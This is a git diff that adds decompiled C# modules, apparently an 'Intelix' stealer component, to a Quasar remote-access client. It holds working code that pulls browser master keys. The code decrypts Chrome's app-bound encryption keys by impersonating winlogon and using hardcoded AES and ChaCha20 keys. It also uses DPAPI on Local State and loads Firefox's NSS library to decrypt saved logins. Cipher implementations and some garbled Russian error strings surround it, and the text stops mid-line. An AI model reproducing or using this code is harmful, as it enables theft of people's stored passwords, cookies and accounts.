2716589560u, 2568741196u, 3681446669u, + 3329971472u, 1835478071u, 660984891u, 3704678404u, 4045999559u, 3422617507u, 3040415634u, 1762651403u, 1719377915u, 3470491036u, + 2693910283u, 3642056355u, 3138596744u, 1364962596u, 2073328063u, 1983633131u, 926494387u, 3423689081u, 2150032023u, 4096667949u, + 1749200295u, 3328846651u, 309677260u, 2016342300u, 1779581495u, 3079819751u, 111262694u, 1274766160u, 443224088u, 298511866u, + 1025883608u, 3806446537u, 1145181785u, 168956806u, 3641502830u, 3584813610u, 1689216846u, 3666258015u, 3200248200u, 1692713982u, + 2646376535u, 4042768518u, 1618508792u, 1610833997u, 3523052358u, 4130873264u, 2001055236u, 3610705100u, 2202168115u, 4028541809u, + 2961195399u, 1006657119u, 2006996926u, 3186142756u, 1430667929u, 3210227297u, 1314452623u, 4074634658u, 4101304120u, 2273951170u, + 1399257539u, 3367210612u, 3027628629u, 1190975929u, 2062231137u, 2333990788u, 2221543033u, 2438960610u, 1181637006u, 548689776u, + 2362791313u, 3372408396u, 3104550113u, 3145860560u, 296247880u, 1970579870u, 3078560182u, 3769228297u, 1714227617u, 3291629107u, + 3898220290u, 166772364u, 1251581989u, 493813264u, 448347421u, 195405023u, 2709975567u, 677966185u, 3703036547u, 1463355134u, + 2715995803u, 1338867538u, 1343315457u, 2802222074u, 2684532164u, 233230375u, 2599980071u, 2000651841u, 3277868038u, 1638401717u, + 4028070440u, 3237316320u, 6314154u, 819756386u, 300326615u, 590932579u, 1405279636u, 3267499572u, 3150704214u, 2428286686u, + 3959192993u, 3461946742u, 1862657033u, 1266418056u, 963775037u, 2089974820u, 2263052895u, 1917689273u, 448879540u, 3550394620u, + 3981727096u, 150775221u, 3627908307u, 1303187396u, 508620638u, 2975983352u, 2726630617u, 1817252668u, 1876281319u, 1457606340u, + 908771278u, 3720792119u, 3617206836u, 2455994898u, 1729034894u, 1080033504u + }, + { + 976866871u, 3556439503u, 2881648439u, 1522871579u, 1555064734u, 1336096578u, 3548522304u, 2579274686u, 3574697629u, 3205460757u, + 3593280638u, 3338716283u, 3079412587u, 564236357u, 2993598910u, 1781952180u, 1464380207u, 3163844217u, 3332601554u, 1699332808u, + 1393555694u, 1183702653u, 3581086237u, 1288719814u, 691649499u, 2847557200u, 2895455976u, 3193889540u, 2717570544u, 1781354906u, + 1676643554u, 2592534050u, 3230253752u, 1126444790u, 2770207658u, 2633158820u, 2210423226u, 2615765581u, 2414155088u, 3127139286u, + 673620729u, 2805611233u, 1269405062u, 4015350505u, 3341807571u, 4149409754u, 1057255273u, 2012875353u, 2162469141u, 2276492801u, + 2601117357u, 993977747u, 3918593370u, 2654263191u, 753973209u, 36408145u, 2530585658u, 25011837u, 3520020182u, 2088578344u, + 530523599u, 2918365339u, 1524020338u, 1518925132u, 3760827505u, 3759777254u, 1202760957u, 3985898139u, 3906192525u, 674977740u, + 4174734889u, 2031300136u, 2019492241u, 3983892565u, 4153806404u, 3822280332u, 352677332u, 2297720250u, 60907813u, 90501309u, + 3286998549u, 1016092578u, 2535922412u, 2839152426u, 457141659u, 509813237u, 4120667899u, 652014361u, 1966332200u, 2975202805u, + 55981186u, 2327461051u, 676427537u, 3255491064u, 2882294119u, 3433927263u, 1307055953u, 942726286u, 933058658u, 2468411793u, + 3933900994u, 4215176142u, 1361170020u, 2001714738u, 2830558078u, 3274259782u, 1222529897u, 1679025792u, 2729314320u, 3714953764u, + 1770335741u, 151462246u, 3013232138u, 1682292957u, 1483529935u, 471910574u, 1539241949u, 458788160u, 3436315007u, 1807016891u, + 3718408830u, 978976581u, 1043663428u, 3165965781u, 1927990952u, 4200891579u, 2372276910u, 3208408903u, 3533431907u, 1412390302u, + 2931980059u, 4132332400u, 1947078029u, 3881505623u, 4168226417u, 2941484381u, 1077988104u, 1320477388u, 886195818u, 18198404u, + 3786409000u, 2509781533u, 112762804u, 3463356488u, 1866414978u, 891333506u, 18488651u, 661792760u, 1628790961u, 3885187036u, + 3141171499u, 876946877u, 2693282273u, 1372485963u, 791857591u, 2686433993u, 3759982718u, 3167212022u, 3472953795u, 2716379847u, + 445679433u, 3561995674u, 3504004811u, 3574258232u, 54117162u, 3331405415u, 2381918588u, 3769707343u, 4154350007u, 1140177722u, + 4074052095u, 668550556u, 3214352940u, 367459370u, 261225585u, 2610173221u, 4209349473u, 3468074219u, 3265815641u, 314222801u, + 3066103646u, 3808782860u, 282218597u, 3406013506u, 3773591054u, 379116347u, 1285071038u, 846784868u, 2669647154u, 3771962079u, + 3550491691u, 2305946142u, 453669953u, 1268987020u, 3317592352u, 3279303384u, 3744833421u, 2610507566u, 3859509063u, 266596637u, + 3847019092u, 517658769u, 3462560207u, 3443424879u, 370717030u, 4247526661u, 2224018117u, 4143653529u, 4112773975u, 2788324899u, + 2477274417u, 1456262402u, 2901442914u, 1517677493u, 1846949527u, 2295493580u, 3734397586u, 2176403920u, 1280348187u, 1908823572u, + 3871786941u, 846861322u, 1172426758u, 3287448474u, 3383383037u, 1655181056u, 3139813346u, 901632758u, 1897031941u, 2986607138u, + 3066810236u, 3447102507u, 1393639104u, 373351379u, 950779232u, 625454576u, 3124240540u, 4148612726u, 2007998917u, 544563296u, + 2244738638u, 2330496472u, 2058025392u, 1291430526u, 424198748u, 50039436u, 29584100u, 3605783033u, 2429876329u, 2791104160u, + 1057563949u, 3255363231u, 3075367218u, 3463963227u, 1469046755u, 985887462u + } + }; + + private uint[] SubKey; + + private uint[,] SBox; + + private uint _F_Transform(uint x) + { + byte[] bytes = BitConverter.GetBytes(x); + if (!BitConverter.IsLittleEndian) + { + Array.Reverse(bytes); + } + return ((SBox[0, bytes[3]] + SBox[1, bytes[2]]) ^ SBox[2, bytes[1]]) + SBox[3, bytes[0]]; + } + + public void Encrypt(byte[] srcBytes, Endian endian) + { + byte[] array = new byte[4]; + byte[] array2 = new byte[4]; + Array.Copy(srcBytes, 0, array, 0, 4); + Array.Copy(srcBytes, 4, array2, 0, 4); + if ((BitConverter.IsLittleEndian && endian == Endian.Big) || (!BitConverter.IsLittleEndian && endian == Endian.Little)) + { + Array.Reverse(array); + Array.Reverse(array2); + } + uint num = BitConverter.ToUInt32(array, 0); + uint num2 = BitConverter.ToUInt32(array2, 0); + num ^= SubKey[0]; + num2 ^= _F_Transform(num); + num2 ^= SubKey[1]; + num ^= _F_Transform(num2); + num ^= SubKey[2]; + num2 ^= _F_Transform(num); + num2 ^= SubKey[3]; + num ^= _F_Transform(num2); + num ^= SubKey[4]; + num2 ^= _F_Transform(num); + num2 ^= SubKey[5]; + num ^= _F_Transform(num2); + num ^= SubKey[6]; + num2 ^= _F_Transform(num); + num2 ^= SubKey[7]; + num ^= _F_Transform(num2); + num ^= SubKey[8]; + num2 ^= _F_Transform(num); + num2 ^= SubKey[9]; + num ^= _F_Transform(num2); + num ^= SubKey[10]; + num2 ^= _F_Transform(num); + num2 ^= SubKey[11]; + num ^= _F_Transform(num2); + num ^= SubKey[12]; + num2 ^= _F_Transform(num); + num2 ^= SubKey[13]; + num ^= _F_Transform(num2); + num ^= SubKey[14]; + num2 ^= _F_Transform(num); + num2 ^= SubKey[15]; + num ^= _F_Transform(num2); + num ^= SubKey[16]; + num2 ^= SubKey[17]; + array = BitConverter.GetBytes(num2); + array2 = BitConverter.GetBytes(num); + if ((BitConverter.IsLittleEndian && endian == Endian.Big) || (!BitConverter.IsLittleEndian && endian == Endian.Little)) + { + Array.Reverse(array); + Array.Reverse(array2); + } + Array.Copy(array, 0, srcBytes, 0, 4); + Array.Copy(array2, 0, srcBytes, 4, 4); + } + + public void Decrypt(byte[] srcBytes, Endian endian) + { + byte[] array = new byte[4]; + byte[] array2 = new byte[4]; + Array.Copy(srcBytes, 0, array, 0, 4); + Array.Copy(srcBytes, 4, array2, 0, 4); + if ((BitConverter.IsLittleEndian && endian == Endian.Big) || (!BitConverter.IsLittleEndian && endian == Endian.Little)) + { + Array.Reverse(array); + Array.Reverse(array2); + } + uint num = BitConverter.ToUInt32(array2, 0); + uint num2 = BitConverter.ToUInt32(array, 0); + num ^= SubKey[16]; + num2 ^= SubKey[17]; + num ^= _F_Transform(num2); + num2 ^= SubKey[15]; + num2 ^= _F_Transform(num); + num ^= SubKey[14]; + num ^= _F_Transform(num2); + num2 ^= SubKey[13]; + num2 ^= _F_Transform(num); + num ^= SubKey[12]; + num ^= _F_Transform(num2); + num2 ^= SubKey[11]; + num2 ^= _F_Transform(num); + num ^= SubKey[10]; + num ^= _F_Transform(num2); + num2 ^= SubKey[9]; + num2 ^= _F_Transform(num); + num ^= SubKey[8]; + num ^= _F_Transform(num2); + num2 ^= SubKey[7]; + num2 ^= _F_Transform(num); + num ^= SubKey[6]; + num ^= _F_Transform(num2); + num2 ^= SubKey[5]; + num2 ^= _F_Transform(num); + num ^= SubKey[4]; + num ^= _F_Transform(num2); + num2 ^= SubKey[3]; + num2 ^= _F_Transform(num); + num ^= SubKey[2]; + num ^= _F_Transform(num2); + num2 ^= SubKey[1]; + num2 ^= _F_Transform(num); + num ^= SubKey[0]; + array = BitConverter.GetBytes(num); + array2 = BitConverter.GetBytes(num2); + if ((BitConverter.IsLittleEndian && endian == Endian.Big) || (!BitConverter.IsLittleEndian && endian == Endian.Little)) + { + Array.Reverse(array); + Array.Reverse(array2); + } + Array.Copy(array, 0, srcBytes, 0, 4); + Array.Copy(array2, 0, srcBytes, 4, 4); + } + + public Blowfish(byte[] UserKey) + { + if (UserKey.Length < MinUserKeyLength) + { + throw new ArgumentException("UserKey is too short."); + } + if (UserKey.Length > 56) + { + throw new ArgumentException("UserKey is too long."); + } + SubKey = OriginPBox.Clone() as uint[]; + SBox = OriginSBox.Clone() as uint[,]; + for (int i = 0; i < 18; i++) + { + uint num = 0u; + num <<= 8; + num |= UserKey[i * 4 % UserKey.Length]; + num <<= 8; + num |= UserKey[(i * 4 + 1) % UserKey.Length]; + num <<= 8; + num |= UserKey[(i * 4 + 2) % UserKey.Length]; + num <<= 8; + num |= UserKey[(i * 4 + 3) % UserKey.Length]; + SubKey[i] ^= num; + } + byte[] array = new byte[8]; + for (int j = 0; j < 9; j++) + { + Encrypt(array, Endian.Little); + Buffer.BlockCopy(array, 0, SubKey, 8 * j, 8); + } + for (int k = 0; k < 4; k++) + { + for (int l = 0; l < 128; l++) + { + Encrypt(array, Endian.Little); + Buffer.BlockCopy(array, 0, SBox, 1024 * k + 8 * l, 8); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/ChaCha20Poly1305.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/ChaCha20Poly1305.cs new file mode 100755 index 0000000..9200cdc --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/ChaCha20Poly1305.cs @@ -0,0 +1,244 @@ +using System; +using System.Numerics; +using System.Security.Cryptography; + +namespace Intelix.Helper.Encrypted; + +public static class ChaCha20Poly1305 +{ + public static byte[] Decrypt(byte[] key32, byte[] iv12, byte[] ciphertext, byte[] tag, byte[] aad = null) + { + if (key32 == null) + { + throw new ArgumentNullException("key32"); + } + if (key32.Length != 32) + { + throw new ArgumentException("Key must be 32 bytes", "key32"); + } + if (iv12 == null) + { + throw new ArgumentNullException("iv12"); + } + if (iv12.Length != 12) + { + throw new ArgumentException("IV must be 12 bytes", "iv12"); + } + if (ciphertext == null) + { + throw new ArgumentNullException("ciphertext"); + } + if (tag == null) + { + throw new ArgumentNullException("tag"); + } + if (tag.Length != 16) + { + throw new ArgumentException("Tag must be 16 bytes", "tag"); + } + if (aad == null) + { + aad = new byte[0]; + } + byte[] array = ChaCha20Block(key32, 0u, iv12); + byte[] array2 = new byte[32]; + Buffer.BlockCopy(array, 0, array2, 0, 32); + byte[] msg = BuildPoly1305Message(aad, ciphertext); + if (!FixedTimeEquals(Poly1305TagWithBigInteger(array2, msg), tag)) + { + Array.Clear(array, 0, array.Length); + Array.Clear(array2, 0, array2.Length); + throw new CryptographicException("ChaCha20-Poly1305 authentication failed (tag mismatch)."); + } + byte[] array3 = new byte[ciphertext.Length]; + ChaCha20Xor(key32, 1u, iv12, ciphertext, array3); + Array.Clear(array, 0, array.Length); + Array.Clear(array2, 0, array2.Length); + return array3; + } + + private static byte[] ChaCha20Block(byte[] key32, uint counter, byte[] nonce12) + { + uint[] array = new uint[16] + { + 1634760805u, 857760878u, 2036477234u, 1797285236u, 0u, 0u, 0u, 0u, 0u, 0u, + 0u, 0u, 0u, 0u, 0u, 0u + }; + for (int i = 0; i < 8; i++) + { + array[4 + i] = ToUInt32Little(key32, i * 4); + } + array[12] = counter; + array[13] = ToUInt32Little(nonce12, 0); + array[14] = ToUInt32Little(nonce12, 4); + array[15] = ToUInt32Little(nonce12, 8); + uint[] array2 = new uint[16]; + Array.Copy(array, array2, 16); + for (int j = 0; j < 10; j++) + { + QuarterRound(ref array2[0], ref array2[4], ref array2[8], ref array2[12]); + QuarterRound(ref array2[1], ref array2[5], ref array2[9], ref array2[13]); + QuarterRound(ref array2[2], ref array2[6], ref array2[10], ref array2[14]); + QuarterRound(ref array2[3], ref array2[7], ref array2[11], ref array2[15]); + QuarterRound(ref array2[0], ref array2[5], ref array2[10], ref array2[15]); + QuarterRound(ref array2[1], ref array2[6], ref array2[11], ref array2[12]); + QuarterRound(ref array2[2], ref array2[7], ref array2[8], ref array2[13]); + QuarterRound(ref array2[3], ref array2[4], ref array2[9], ref array2[14]); + } + byte[] array3 = new byte[64]; + for (int k = 0; k < 16; k++) + { + LittleEndian(array2[k] + array[k], array3, k * 4); + } + return array3; + } + + private static void QuarterRound(ref uint a, ref uint b, ref uint c, ref uint d) + { + a += b; + d ^= a; + d = Rol(d, 16); + c += d; + b ^= c; + b = Rol(b, 12); + a += b; + d ^= a; + d = Rol(d, 8); + c += d; + b ^= c; + b = Rol(b, 7); + } + + private static uint Rol(uint x, int n) + { + return (x << n) | (x >> 32 - n); + } + + private static uint ToUInt32Little(byte[] bs, int off) + { + return (uint)(bs[off] | (bs[off + 1] << 8) | (bs[off + 2] << 16) | (bs[off + 3] << 24)); + } + + private static void LittleEndian(uint v, byte[] outbuf, int off) + { + outbuf[off] = (byte)(v & 0xFF); + outbuf[off + 1] = (byte)((v >> 8) & 0xFF); + outbuf[off + 2] = (byte)((v >> 16) & 0xFF); + outbuf[off + 3] = (byte)((v >> 24) & 0xFF); + } + + private static void ChaCha20Xor(byte[] key, uint counter, byte[] nonce, byte[] input, byte[] output) + { + if (input == null || input.Length == 0) + { + return; + } + int i = 0; + uint num = counter; + int num2; + for (; i < input.Length; i += num2) + { + byte[] array = ChaCha20Block(key, num, nonce); + num++; + num2 = Math.Min(64, input.Length - i); + for (int j = 0; j < num2; j++) + { + output[i + j] = (byte)(input[i + j] ^ array[j]); + } + } + } + + private static byte[] BuildPoly1305Message(byte[] aad, byte[] ciphertext) + { + int num = ((aad != null) ? aad.Length : 0); + int num2 = ((ciphertext != null) ? ciphertext.Length : 0); + int num3 = (16 - num % 16) % 16; + int num4 = (16 - num2 % 16) % 16; + byte[] array = new byte[num + num3 + num2 + num4 + 8 + 8]; + int num5 = 0; + if (num > 0) + { + Buffer.BlockCopy(aad, 0, array, num5, num); + num5 += num; + } + if (num3 > 0) + { + num5 += num3; + } + if (num2 > 0) + { + Buffer.BlockCopy(ciphertext, 0, array, num5, num2); + num5 += num2; + } + if (num4 > 0) + { + num5 += num4; + } + byte[] bytes = BitConverter.GetBytes((ulong)num); + byte[] bytes2 = BitConverter.GetBytes((ulong)num2); + Buffer.BlockCopy(bytes, 0, array, num5, 8); + num5 += 8; + Buffer.BlockCopy(bytes2, 0, array, num5, 8); + num5 += 8; + return array; + } + + private static byte[] Poly1305TagWithBigInteger(byte[] oneTimeKey32, byte[] msg) + { + byte[] array = new byte[16]; + Buffer.BlockCopy(oneTimeKey32, 0, array, 0, 16); + array[3] &= 15; + array[7] &= 15; + array[11] &= 15; + array[15] &= 15; + array[4] &= 252; + array[8] &= 252; + array[12] &= 252; + byte[] array2 = new byte[16]; + Buffer.BlockCopy(oneTimeKey32, 16, array2, 0, 16); + BigInteger bigInteger = new BigInteger(AppendZero(array)); + BigInteger bigInteger2 = new BigInteger(AppendZero(array2)); + BigInteger bigInteger3 = (BigInteger.One << 130) - 5; + BigInteger bigInteger4 = BigInteger.Zero; + for (int i = 0; i < msg.Length; i += 16) + { + int num = Math.Min(16, msg.Length - i); + byte[] array3 = new byte[num]; + Buffer.BlockCopy(msg, i, array3, 0, num); + BigInteger bigInteger5 = new BigInteger(AppendZero(array3)); + BigInteger bigInteger6 = BigInteger.One << 8 * num; + bigInteger5 += bigInteger6; + bigInteger4 += bigInteger5; + bigInteger4 = bigInteger4 * bigInteger % bigInteger3; + } + byte[] array4 = (bigInteger4 + bigInteger2).ToByteArray(); + byte[] array5 = new byte[16]; + for (int j = 0; j < 16 && j < array4.Length; j++) + { + array5[j] = array4[j]; + } + return array5; + } + + private static byte[] AppendZero(byte[] b) + { + byte[] array = new byte[b.Length + 1]; + Buffer.BlockCopy(b, 0, array, 0, b.Length); + array[array.Length - 1] = 0; + return array; + } + + private static bool FixedTimeEquals(byte[] a, byte[] b) + { + if (a == null || b == null || a.Length != b.Length) + { + return false; + } + int num = 0; + for (int i = 0; i < a.Length; i++) + { + num |= a[i] ^ b[i]; + } + return num == 0; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/CngDecryptor.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/CngDecryptor.cs new file mode 100755 index 0000000..5c55ac7 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/CngDecryptor.cs @@ -0,0 +1,51 @@ +using System; + +namespace Intelix.Helper.Encrypted; + +public static class CngDecryptor +{ + private const int NCRYPT_SILENT_FLAG = 64; + + public static byte[] Decrypt(byte[] inputData, string providerName = "Microsoft Software Key Storage Provider", string keyName = "Google Chromekey1") + { + IntPtr phProvider = IntPtr.Zero; + IntPtr phKey = IntPtr.Zero; + try + { + int num = NativeMethods.NCryptOpenStorageProvider(out phProvider, providerName, 0); + if (num != 0) + { + throw new Exception($"Ошибка NCryptOpenStorageProvider: Код {num}"); + } + num = NativeMethods.NCryptOpenKey(phProvider, out phKey, keyName, 0, 0); + if (num != 0) + { + throw new Exception($"Ошибка NCryptOpenKey: Код {num}"); + } + num = NativeMethods.NCryptDecrypt(phKey, inputData, inputData.Length, IntPtr.Zero, null, 0, out var pcbResult, 64); + if (num != 0) + { + throw new Exception($"Ошибка Ð¾Ð¿Ñ€ÐµÐ´ÐµÐ»ÐµÐ½Ð¸Ñ Ñ€Ð°Ð·Ð¼ÐµÑ€Ð° NCryptDecrypt: Код {num}"); + } + byte[] array = new byte[pcbResult]; + num = NativeMethods.NCryptDecrypt(phKey, inputData, inputData.Length, IntPtr.Zero, array, array.Length, out pcbResult, 64); + if (num != 0) + { + throw new Exception($"Ошибка NCryptDecrypt: Код {num}"); + } + Array.Resize(ref array, pcbResult); + return array; + } + finally + { + if (phKey != IntPtr.Zero) + { + NativeMethods.NCryptFreeObject(phKey); + } + if (phProvider != IntPtr.Zero) + { + NativeMethods.NCryptFreeObject(phProvider); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/DpApi.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/DpApi.cs new file mode 100755 index 0000000..0f978ee --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/DpApi.cs @@ -0,0 +1,48 @@ +using System; +using System.Runtime.InteropServices; + +namespace Intelix.Helper.Encrypted; + +public static class DpApi +{ + private static NativeMethods.CryptprotectPromptstruct Prompt = new NativeMethods.CryptprotectPromptstruct + { + cbSize = Marshal.SizeOf(typeof(NativeMethods.CryptprotectPromptstruct)), + dwPromptFlags = 0, + hwndApp = IntPtr.Zero, + szPrompt = null + }; + + public static byte[] Decrypt(byte[] bCipher) + { + NativeMethods.DataBlob pDataIn = default(NativeMethods.DataBlob); + NativeMethods.DataBlob pDataOut = default(NativeMethods.DataBlob); + NativeMethods.DataBlob pOptionalEntropy = default(NativeMethods.DataBlob); + string ppszDataDescr = string.Empty; + GCHandle gCHandle = GCHandle.Alloc(bCipher, GCHandleType.Pinned); + pDataIn.cbData = bCipher.Length; + pDataIn.pbData = gCHandle.AddrOfPinnedObject(); + try + { + if (!NativeMethods.CryptUnprotectData(ref pDataIn, ref ppszDataDescr, ref pOptionalEntropy, IntPtr.Zero, ref Prompt, 0, ref pDataOut) || pDataOut.cbData == 0) + { + return null; + } + byte[] array = new byte[pDataOut.cbData]; + Marshal.Copy(pDataOut.pbData, array, 0, pDataOut.cbData); + return array; + } + finally + { + gCHandle.Free(); + if (pDataOut.pbData != IntPtr.Zero) + { + Marshal.FreeHGlobal(pDataOut.pbData); + } + if (pOptionalEntropy.pbData != IntPtr.Zero) + { + Marshal.FreeHGlobal(pOptionalEntropy.pbData); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/LocalEncryptor.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/LocalEncryptor.cs new file mode 100755 index 0000000..154d807 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/LocalEncryptor.cs @@ -0,0 +1,68 @@ +using System; +using System.Text; +using Intelix.Helper.Sql; + +namespace Intelix.Helper.Encrypted; + +public static class LocalEncryptor +{ + public static byte[] ExtractEncryptionKey(SqLite sql, byte[] encryptionKey) + { + byte[] array = new byte[0]; + if (sql.ReadTable("meta")) + { + for (int i = 0; i < sql.GetRowCount(); i++) + { + if (sql.GetValue(i, 0).Equals("local_encryptor_data")) + { + array = Encoding.Default.GetBytes(sql.GetValue(i, 1)); + break; + } + } + } + int num = FindByteSequence(array, Encoding.ASCII.GetBytes("v10")); + if (num == -1) + { + return null; + } + byte[] array2 = new byte[96]; + Array.Copy(array, num + 3, array2, 0, 96); + byte[] array3 = new byte[12]; + Array.Copy(array2, 0, array3, 0, 12); + int num2 = array2.Length - 12 - 16; + byte[] array4 = new byte[num2]; + Array.Copy(array2, 12, array4, 0, num2); + byte[] array5 = new byte[16]; + Array.Copy(array2, array2.Length - 16, array5, 0, 16); + byte[] array6 = AesGcm256.Decrypt(encryptionKey, array3, null, array4, array5); + if (BitConverter.ToInt32(array6, 0) == 538050824) + { + byte[] array7 = new byte[32]; + Array.Copy(array6, 4, array7, 0, 32); + return array7; + } + return null; + } + + private static int FindByteSequence(byte[] src, byte[] pattern) + { + int num = src.Length - pattern.Length + 1; + for (int i = 0; i < num; i++) + { + if (src[i] != pattern[0]) + { + continue; + } + int num2 = pattern.Length - 1; + while (num2 >= 1 && src[i + num2] == pattern[num2]) + { + if (num2 == 1) + { + return i; + } + num2--; + } + } + return -1; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/LocalState.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/LocalState.cs new file mode 100755 index 0000000..2932d1b --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/LocalState.cs @@ -0,0 +1,226 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading; + +namespace Intelix.Helper.Encrypted; + +public static class LocalState +{ + private static readonly ConcurrentDictionary> _masterKeyCacheV10 = new ConcurrentDictionary>(); + + private static readonly ConcurrentDictionary> _masterKeyCacheV20 = new ConcurrentDictionary>(); + + private static readonly ConcurrentDictionary _locks = new ConcurrentDictionary(); + + public static List GetMasterKeys() + { + List list = new List(); + foreach (KeyValuePair> item in _masterKeyCacheV10) + { + try + { + string text = item.Key ?? ""; + Lazy value = item.Value; + if (value == null) + { + continue; + } + byte[] value2 = value.Value; + if (value2 != null) + { + StringBuilder stringBuilder = new StringBuilder(value2.Length * 2); + byte[] array = value2; + foreach (byte b in array) + { + stringBuilder.Append(b.ToString("X2")); + } + list.Add(new string[3] + { + text, + "v10", + stringBuilder.ToString() + }); + } + } + catch + { + } + } + foreach (KeyValuePair> item2 in _masterKeyCacheV20) + { + try + { + string text2 = item2.Key ?? ""; + Lazy value3 = item2.Value; + if (value3 == null) + { + continue; + } + byte[] value4 = value3.Value; + if (value4 != null) + { + StringBuilder stringBuilder2 = new StringBuilder(value4.Length * 2); + byte[] array = value4; + foreach (byte b2 in array) + { + stringBuilder2.Append(b2.ToString("X2")); + } + list.Add(new string[3] + { + text2, + "v20", + stringBuilder2.ToString() + }); + } + } + catch + { + } + } + return list; + } + + public static byte[] MasterKeyV20(string localstate) + { + SemaphoreSlim orAdd = _locks.GetOrAdd(localstate, (string _) => new SemaphoreSlim(1, 1)); + orAdd.Wait(); + try + { + if (_masterKeyCacheV20.TryGetValue(localstate, out var value)) + { + return value.Value; + } + Lazy lazy = new Lazy(() => ComputeMasterKeyV20(localstate)); + _masterKeyCacheV20[localstate] = lazy; + return lazy.Value; + } + finally + { + orAdd.Release(); + } + } + + private static byte[] ComputeMasterKeyV20(string localstate) + { + try + { + Match match = Regex.Match(LocalStateContent(localstate), "\"app_bound_encrypted_key\"\\s*:\\s*\"([^\"]+)\""); + if (!match.Success) + { + return null; + } + BlobParsedData blobParsedData = ParseKeyBlob.Parse(DecryptAsSystemUser(Convert.FromBase64String(match.Groups[1].Value).Skip(4).ToArray())); + switch (blobParsedData.Flag) + { + case 1: + return AesGcm256.Decrypt(new byte[32] + { + 179, 28, 110, 36, 26, 200, 70, 114, 141, 169, + 193, 250, 196, 147, 102, 81, 207, 251, 148, 77, + 20, 58, 184, 22, 39, 107, 204, 109, 160, 40, + 71, 135 + }, blobParsedData.Iv, null, blobParsedData.Ciphertext, blobParsedData.Tag); + case 2: + return ChaCha20Poly1305.Decrypt(new byte[32] + { + 233, 143, 55, 215, 244, 225, 250, 67, 61, 25, + 48, 77, 194, 37, 128, 66, 9, 14, 45, 29, + 126, 234, 118, 112, 212, 31, 115, 141, 8, 114, + 150, 96 + }, blobParsedData.Iv, blobParsedData.Ciphertext, blobParsedData.Tag); + case 3: + { + byte[] array = new byte[32] + { + 204, 248, 161, 206, 197, 102, 5, 184, 81, 117, + 82, 186, 26, 45, 6, 28, 3, 162, 158, 144, + 39, 79, 178, 252, 245, 155, 164, 183, 92, 57, + 35, 144 + }; + byte[] array2 = CDecryptor(blobParsedData.EncryptedAesKey); + for (int i = 0; i < array2.Length; i++) + { + array2[i] ^= array[i]; + } + return AesGcm256.Decrypt(array2, blobParsedData.Iv, null, blobParsedData.Ciphertext, blobParsedData.Tag); + } + case 32: + return blobParsedData.EncryptedAesKey; + default: + return null; + } + } + catch + { + return null; + } + } + + public static byte[] MasterKeyV10(string localstate) + { + SemaphoreSlim orAdd = _locks.GetOrAdd(localstate, (string _) => new SemaphoreSlim(1, 1)); + orAdd.Wait(); + try + { + if (_masterKeyCacheV10.TryGetValue(localstate, out var value)) + { + return value.Value; + } + Lazy lazy = new Lazy(() => ComputeMasterKeyV10(localstate)); + _masterKeyCacheV10[localstate] = lazy; + return lazy.Value; + } + finally + { + orAdd.Release(); + } + } + + private static byte[] ComputeMasterKeyV10(string localstate) + { + try + { + Match match = Regex.Match(LocalStateContent(localstate), "\"encrypted_key\":\"(.*?)\""); + if (!match.Success) + { + return null; + } + return DpApi.Decrypt(Convert.FromBase64String(match.Groups[1].Value).Skip(5).ToArray()); + } + catch + { + return null; + } + } + + private static byte[] CDecryptor(byte[] encryptedData) + { + using (ImpersonationHelper.ImpersonateWinlogon()) + { + return CngDecryptor.Decrypt(encryptedData); + } + } + + private static byte[] DecryptAsSystemUser(byte[] encryptedData) + { + using (ImpersonationHelper.ImpersonateWinlogon()) + { + encryptedData = DpApi.Decrypt(encryptedData); + } + return DpApi.Decrypt(encryptedData); + } + + private static string LocalStateContent(string localstate) + { + string text = Path.Combine(Path.GetTempPath(), Path.GetRandomFileName()); + File.Copy(localstate, text, overwrite: true); + string result = File.ReadAllText(text); + File.Delete(text); + return result; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/NSSDecryptor.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/NSSDecryptor.cs new file mode 100755 index 0000000..f2ecafb --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/NSSDecryptor.cs @@ -0,0 +1,80 @@ +using System; +using System.IO; +using System.Runtime.InteropServices; +using System.Text; + +namespace Intelix.Helper.Encrypted; + +public static class NSSDecryptor +{ + public struct SECItem + { + public int Type; + + public IntPtr Data; + + public int Len; + } + + [DllImport("nss3.dll", CallingConvention = CallingConvention.Cdecl)] + private static extern int NSS_Init(string configdir); + + [DllImport("nss3.dll", CallingConvention = CallingConvention.Cdecl)] + private static extern int NSS_Shutdown(); + + [DllImport("nss3.dll", CallingConvention = CallingConvention.Cdecl)] + private static extern int PK11SDR_Decrypt(ref SECItem data, ref SECItem result, int cx); + + public static bool Initialize(string profilePath) + { + try + { + string text = "C:\\Program Files\\Mozilla Firefox"; + if (!Directory.Exists(text)) + { + return false; + } + string environmentVariable = Environment.GetEnvironmentVariable("PATH"); + environmentVariable = environmentVariable + ";" + text; + Environment.SetEnvironmentVariable("PATH", environmentVariable); + return NSS_Init(profilePath) == 0; + } + catch + { + return false; + } + } + + public static string Decrypt(string base64) + { + try + { + byte[] array = Convert.FromBase64String(base64); + if (array.Length 